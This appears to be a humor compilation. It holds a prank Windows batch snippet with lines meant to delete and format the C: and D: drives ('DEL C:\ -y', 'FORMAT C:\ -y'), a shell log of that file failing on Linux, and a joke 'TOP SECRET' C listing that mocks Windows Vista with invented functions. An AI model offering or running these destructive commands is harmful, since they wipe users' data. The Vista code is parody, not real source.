@echo off 
DEL C:\ -y
DEL D:\ -y
FORMAT C:\ -y
If thats inside a .bat file delete the .bat file!
                
            DEL C:\ -y
DEL D:\ -y
FORMAT C:\ -y
If thats inside a .bat file delete the .bat file!



rob@postduif:~$ ./thing.bat
./thing.bat: line 1: @echo: command not found
./thing.bat: line 2: del: command not found
./thing.bat: line 3: del: command not found
./thing.bat: line 4: format: command not found
/*
  TOP SECRET Microsoft(c) Project Longhorn (TM) SP1
  Estimated release date 2008
*/
#include "win95.h"
#include "win98.h"
#include "leopard.h"
char chew_up_some_ram[1000000];
void main() {
 while (!CRASHED) {
 if (first_time_install) {
  make_10_gigabyte_swapfile();
  do_nothing_loop();
  search_and_destroy (FIREFOX|OPENOFFICEORG|ANYTHING_GOOGLE);
  hang_system();
  }
 if (still_not_crashed) {
  basically_run_windows_xp();
  do_nothing_loop();
  }
 }
if (!DX10_GPU) {
 set_graphics(aero, very_slow);
 set_mouse(reaction, sometimes);
 }
//printf("Welcome to Windows 2000");
//printf("Welcome to Windows XP");
printf("Welcome to Windows Vista");
while (something) {
 sleep (10);
 get_user_input();
 sleep (10);
 act_on__user_input();
 sleep(10);
 flicker_led_promisingly(hard_disk);
 }
 create_original_protection_fault();
}
